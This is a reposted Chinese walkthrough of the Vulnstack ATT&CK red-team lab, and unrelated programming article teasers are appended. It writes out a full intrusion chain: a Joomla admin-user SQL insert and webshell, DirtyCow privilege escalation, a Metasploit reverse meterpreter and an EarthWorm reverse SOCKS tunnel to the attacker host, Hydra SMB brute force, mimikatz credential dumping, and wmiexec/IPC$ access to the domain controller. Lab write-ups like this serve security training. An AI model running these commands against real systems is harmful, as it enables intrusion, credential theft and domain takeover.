靶场实战 _ ATTCK 实战 Vulnstack 红队

news2024/9/21 5:18:55

环境配置

网络拓扑图 (仅供参考)

攻击机:kali ip:192.168.111.5靶机:web-centos 外网ip:192.168.111.10 内网ip:192.168.93.100web1-ubuntu ip: 192.168.93.120PC ip: 192.168.93.30win 2008 ip:192.168.93.20win 2012 ip:192.168.93.10

信息搜集

端口扫描:

nmap -sS 192.168.111.10

发现三个开放端口:22,80,3306

80 端口利用

发现是一个 joomla 搭建的网站

Joomla 是一套全球知名的内容管理系统,是使用 PHP 语言加上 MySQL 数据库所开发的

软件系统。

Kali Linux 中有一个漏洞扫描器叫做 Joomscan,专门用于查找 Joomla 中的漏洞。

apt install joomscan

进行扫描

joomscan -u 192.168.111.10

这里我们发现了一个后台地址和配置文件

从配置文件中我们可以得到数据库账号密码 testuser/cvcvgjASD!@ 和库名等信息

远程登录 MySQL

但是我们会发现此处的密码是加密过的,那么我们插入数据也应该修改为加密后的密码

那么如何得到加密的密码呢?我们可以再 joomla 的官方网站找到思路

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F

我们插入它的示例代码就可以添加管理员 admin2/secret

INSERT INTO `am2zu_users`(`name`, `username`, `password`, `params`, `registerDate`,`lastvisitDate`, `lastResetTime`)VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)VALUES (LAST_INSERT_ID(),'8');

利用新建用户登录后台,写入木马到 shell.php

Bypass disable_function

蚁剑连接,路径 http://192.168.111.10/templates/beez3/shell.php

尝试执行命令,发现 ret=127 应该是存在 disablefunction,可以用 LDPRELOAD

过,这里直接利用蚁剑插件,它会上传一个 .antproxy.php ,我们创建副本,将文件更改为 .antproxy.php 即可

内网渗透

内网信息搜集

ifconfig 发现一个网段192.168.93.0/24 和 一个IP地址192.168.93.120cat /etc/issue #查看系统名称 Ubuntu 16.04.6 LTS  \lcat /etc/*release #查看linux发行信息uname -a #查看内核版本cat /proc/version #查看内核信息cat /etc/passwd #存放用户名信息,没有密码信息cat /etc/shadow #存放用户名密码信息,密码被加密,只要root用户才能读取

可以发现这是一个内网 ip,且我们本身的 ip 并没有出现

继续进行信息搜集,在 /tmp/mysql 中发现一组用户密码,结合之前端口开放情况,

猜测可能是 ssh 凭证

我们使用 ssh 连接

也就是说该主机才是我们 ip 所在的主机,ubuntu 则是通过 nginx 反向代理到了 centos 主机。

反向代理(Reverse Proxy)方式是指以代理服务器来接受 Internet 上的连接请求,然后将请求转发给内部网络上的服务器。

至此我们已经拿下两台主机

web-centos 外网ip:192.168.111.10 内网ip:192.168.93.100web1-ubuntu ip: 192.168.93.120

脏牛提权

由于目前主机权限较低,为了进一步利用,我们需要对其进行提权,查看一下 centos

的内核版本

[wwwuser@localhost ~]$ uname -aLinux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

使用脏牛提权:

exp下载:https://github.com/FireFart/dirtycowCVE-2016-5195原理:linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。影响版本:Centos7 /RHEL7 3.10.0-327.36.3.el7Cetnos6/RHEL6 2.6.32-642.6.2.el6Ubuntu 16.10 4.8.0-26.28Ubuntu 16.04 4.4.0-45.66Ubuntu 14.04 3.13.0-100.147Debian 8 3.16.36-1+deb8u2Debian 7 3.2.82-1

先将 exp 上传到 centos 可执行目录内

编译:

gcc -pthread dirty.c -o dirty -lcrypt

移除原本的 passwd.bak 文件

rm -rf /tmp/passwd.bak

执行编译后的文件,并设置密码

./dirty 123456

成功提权

MSF 上线

use exploit/multi/script/web_deliveryset target 7 # 选择目标系统set payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.111.5set lport 4444exploit

此时我们在目标机上运行该命令

获得 meterpreter

存活主机探测

先添加路由,把 meterpreter 放在后台,进行存活主机探测。

run autoroute -s 192.168.93.0/24backgrounduse auxiliary/scanner/smb/smb_versionset rhosts 192.168.93.0/24exploit

得到了三台 TEST 域的 windows 主机

192.168.93.20 windows server 2008192.168.93.30 windows 7192.168.93.10 windows server 2012

尝试爆破一下 windows server 2008 的本地管理员

use auxiliary/scanner/smb/smb_loginset rhosts 192.168.93.20set SMBUser administratorset PASS_FILE /usr/share/wordlists/top1000.txtrun

smb 模块没有爆出来,我们利用其他软件试试

Sock 代理

路由转发只能将 msfconsole 带进内网,而要想将攻击机上的其他攻击程序也带进内网还

需要搭建 socks 代理。.earthworm 搭建 socks5 反向代理服务 是为了让 kali(攻击者)

的程序进入内网,可以扫描内网主机信息等。

https://github.com/idlefire/ew

在 kali 上执行

./ew_for_linux64 -s rcsocks -l 1080 -e 1234#将1080端口监听到的本地数据转发到 web服务器的1234端口# 通过1080端口,将本地流量转发出去#rcsocks、rssocks 用于反向连接#ssocks 用于正向连接# -l 指定本地监听的端口# -e 指定要反弹到的机器端口# -d 指定要反弹到机器的IP# -f 指定要主动连接的机器 ip# -g 指定要主动连接的机器端口# -t 指定超时时长,默认为 1000

之后将其上传到 centos,执行

./ew_for_linux64 -s rssocks -d 192.168.111.5 -e 1234#192.168.111.5 是攻击者kali的IP地址

将 socks5 服务器指向 1080 端口

vim /etc/proxychains.conf

此时已经能够成功 ping 通内网,我们利用 hydra 再尝试一下爆破

proxychains hydra -l administrator -P /tmp/top1000.txtsmb://192.168.93.20

成功!

横向移动

wmiexec 连接 win 主机

wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本

地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中

记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。

安装:

git clone https://github.com/CoreSecurity/impacket.gitcd impacket/pip install .

连接 win 2008:

proxychains python3 wmiexec.py -debug'administrator:123qwe!ASD@192.168.93.20'

mimikatz 密码抓取

tasklist /V 查看进程(显示对应用户),发现TEST域进程,可以尝试抓密码。

使用 smbclient 通过代理连接 windows server 2008 上传 mimikatz.exe 文件

proxychains smbclient //192.168.93.20/C$ -U administratorput mimikatz.exe

下载地址:

https://github.com/gentilkiwi/mimikatz/releases

之后利用 wmi 抓取密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords""exit" > log.log

得到 zxcASDqw123!!

此时我们还需要获得域控的 ip,先获得 win2008 的 ip

再 ping 一下域名服务器

也就是说域控信息:

ip:192.168.93.10administrator/zxcASDqw123!!

拿下域控

可以使用 wmiexec 连接

proxychains python3 wmiexec.py‘TEST.ORG/Administrator:zxcASDqw123!!@192.168.93.10’

或者使用 ipc 连接

IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。利用条件:1. 管理员开启了默认共享2. 139或445端口开放net use \\192.168.93.10\admin$ zxcASDqw123!!/user:test\administrato

总结

  1. 脏牛提权

2.sock 代理

3.wmiexec

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1951181.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【QT】常用控件(概述、QWidget核心属性、按钮类控件、显示类控件、输入类控件、多元素控件、容器类控件、布局管理器)

一、控件概述 Widget 是 Qt 中的核心概念,英文原义是 “小部件”,此处也把它翻译为 “控件”。控件是构成一个图形化界面的基本要素。 像上述示例中的按钮、列表视图、树形视图、单行输入框、多行输入框、滚动条、下拉框都可以称为 “控件”。 Qt 作为…

世界渲染大赛含金量高吗?含金量怎么样?水平要求?

世界渲染大赛,作为全球3D艺术与渲染领域的顶级赛事,以其高含金量和专业水平要求而闻名。这一赛事不仅吸引了世界各地的专业3D艺术家、设计师和技术爱好者的积极参与,更以其严格的评审标准和创新性的主题设置,确保了参赛作品的高质…

C#初级——条件判断语句、循环语句和运算符

条件判断语句 简单的条件判断语句&#xff0c;if()里面进行条件判断&#xff0c;如果条件判断正确就执行语句块1&#xff0c;如果不符合就执行语句块2。 if (条件判断) { 语句块1 } else { 语句块2 } int age 18;if (age < 18){Console.WriteLine("未…

一天搞定React(3)——Hoots组件【已完结】

Hello&#xff01;大家好&#xff0c;今天带来的是React前端JS库的学习&#xff0c;课程来自黑马的往期课程&#xff0c;具体连接地址我也没有找到&#xff0c;大家可以广搜巡查一下&#xff0c;但是总体来说&#xff0c;这套课程教学质量非常高&#xff0c;每个知识点都有一个…

git sendemail使用

教程参考&#xff1a; git-send-email - 以电子邮件形式发送补丁集 1、安装git-email 2、配置 SMTP 服务器 git config --global sendemail.smtpserver smtp.163.com git config --global sendemail.smtpserverport 465 git config --global sendemail.smtpuser xxxxxx163.c…

Godot入门 04平台设计

新建创景&#xff0c;添加AnimatableBody2D节点。 添加Sprite2D节点 拖动图片 剪裁图片&#xff0c;吸附模式&#xff1a;像素吸附 添加CollisionShape2D&#xff0c;设置实际形状为矩形 重命名AnimatableBody2D节点为Platform&#xff0c;保存场景&#xff0c;拖动platform场景…

Docker NameSpace隔离

1、dd命令&#xff1a;dd 可从标准输入或文件中读取数据&#xff0c;根据指定的格式来转换数据&#xff0c;再输出到文件、设 备或标准输出 功能&#xff1a;用于读取、转换并输出数据 语法&#xff1a;dd OPTION 参数 1、 if文件名&#xff1a;输入文件名&#xff0c;默认为…

【第四天】计算机网络知识 HTTP1.0,HTTP1.1与HTTP2.0的区别 HTTP3.0

HTTP1.0&#xff0c;HTTP1.1与HTTP2.0的区别 HTTP1.0 默认是短链接&#xff0c;可以强制开启长连接。HTTP1.1默认长连接。HTTP2.0采用多路复用。 HTTP1.0&#xff1a; 默认使用短链接&#xff0c;每次请求都需要建立一个TCP连接。它可以设置&#xff1a;Connection: keep-aliv…

内网对抗-隧道技术篇防火墙组策略FRPNPSChiselSocks代理端口映射C2上线

知识点&#xff1a; 1、隧道技术篇-传输层-工具项目-Frp&Nps&Chisel 2、隧道技术篇-传输层-端口转发&Socks建立&C2上线Frp Frp是专注于内网穿透的高性能的反向代理应用&#xff0c;支持TCP、UDP、HTTP、HTTPS等多种协议。可以将内网服务以安全、便捷的方式通过…

H264编码标准环路滤波原理

方块效应产生原因 原因 1&#xff1a;最重要的一个原因是基于块的帧内和帧间预测残差的 DCT 变换。变换系数的量化过程相对粗糙&#xff0c;因而反量化过程恢复的变换系数带有误差&#xff0c;会造成在图像块边界上的视觉不连续。原因 2&#xff1a;其次原因自于运动补偿预测。…

FastAPI(七十九)实战开发《在线课程学习系统》接口开发-- 加入课程和退出课程

源码见&#xff1a;"fastapi_study_road-learning_system_online_courses: fastapi框架实战之--在线课程学习系统" 加入课程 我们先看下加入课程 1.是否登录 2.课程是否存在 3.是否已经存在 4.添加 首先实现逻辑 def get_student_course(db: Session, course: int…

4.Jmeter接口性能测试

性能测试的指标: 多:并发量(用户数-系统用户数-影响到磁盘、在线用户数、并发用户数) 系统用户数:软件系统注册的用户总数(要注意初始化环境) 在线用户数:某段视角内访问用户数,这些用户只是咋先,不一定同时做某一件事情。(初始化环境(warm up热机:让…

DL/T645、IEC104转BACnet网关实现实时数据采集

BA102网关是钡铼技术专为实现电力协议DL/T645、IEC104与楼宇自控协议BACnet相互转化而研发的。它下行采集支持Modbus RTU、Modbus TCP、DL/T645、IEC104等协议&#xff0c;上行转发则支持BACnet IP和BACnet MS/TP协议&#xff0c;从而实现了电力协议与楼宇自控协议之间的相互转…

CJS与ESM:CJS

模块化方案 历史上&#xff0c;JavaScript 一直没有模块&#xff08;module&#xff09;体系&#xff0c;无法将一个大程序拆分成互相依赖的小文件&#xff0c;再用简单的方法拼装起来。其他语言都有这项功能&#xff0c;比如 Ruby 的require、Python 的import&#xff0c;甚至…

【算法】分布式共识Paxos

一、引言 在分布式系统中&#xff0c;一致性是至关重要的一个问题。Paxos算法是由莱斯利兰伯特&#xff08;Leslie Lamport&#xff09;在1990年提出的一种解决分布式系统中一致性问题的算法。 二、算法原理 Paxos算法的目标是让一个分布式系统中的多个节点就某个值达成一致。算…

LoRaWAN设备的两种入网方式(ABP和OTAA)

目录 一、OTAA 1、名词解释 2、入网流程 二、ABP 三、两种入网方式的比较 一、OTAA 1、名词解释 &#xff08;1&#xff09;AppEUI&#xff1a;64位&#xff08;8字节&#xff09;的唯一标识符&#xff0c;用于标识特定的应用程序或组织&#xff08;如果用的是chirpstac…

Linux的yum源安装MySQL5.7

linux的yum源安装MySQL5.7 一、MySQL 1、简介 MySQL 是一种流行的关系型数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;由瑞典公司 MySQL AB 开发&#xff0c;后来被 Oracle Corporation 收购。它是一个开源软件&#xff0c;提供了高效、稳定和可靠的数据管理解决…

VLAN与三层交换机

文章目录 VLAN的功能与优势VANE优势基于端口划分 VLAN的优先级最低&#xff0c;是最常用的VLAN划分方式。 VLAN的范围![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/f3f61b8a05ac46a5be263b38816db79f.png)VLAN的帧格式交换网络中的链路类型 交换机的链路类型端口类…

笔试编程算法题笔记(三 C++代码)

1.kotori和n皇后 题意简单来说就是&#xff0c;在一个无穷大的棋盘上&#xff0c;不断插入k个皇后&#xff0c;皇后们如果在 同一行&#xff0c;同一列&#xff0c;在一个45主对角线 在一个135副对角线上&#xff0c;就可以互相攻击。 我们需要判断在第i个皇后插入后&#xff…

Codeforces 903 div3 A-F

A 题目分析 数据范围很小&#xff0c;暴力枚举即可&#xff0c;然后给字符串x的长度设置一个上限&#xff0c;我设了50&#xff0c;因为n*m<25&#xff0c;多一倍够用了 C代码 #include<iostream> using namespace std; void solve(){int n,m;string x,s;cin>>…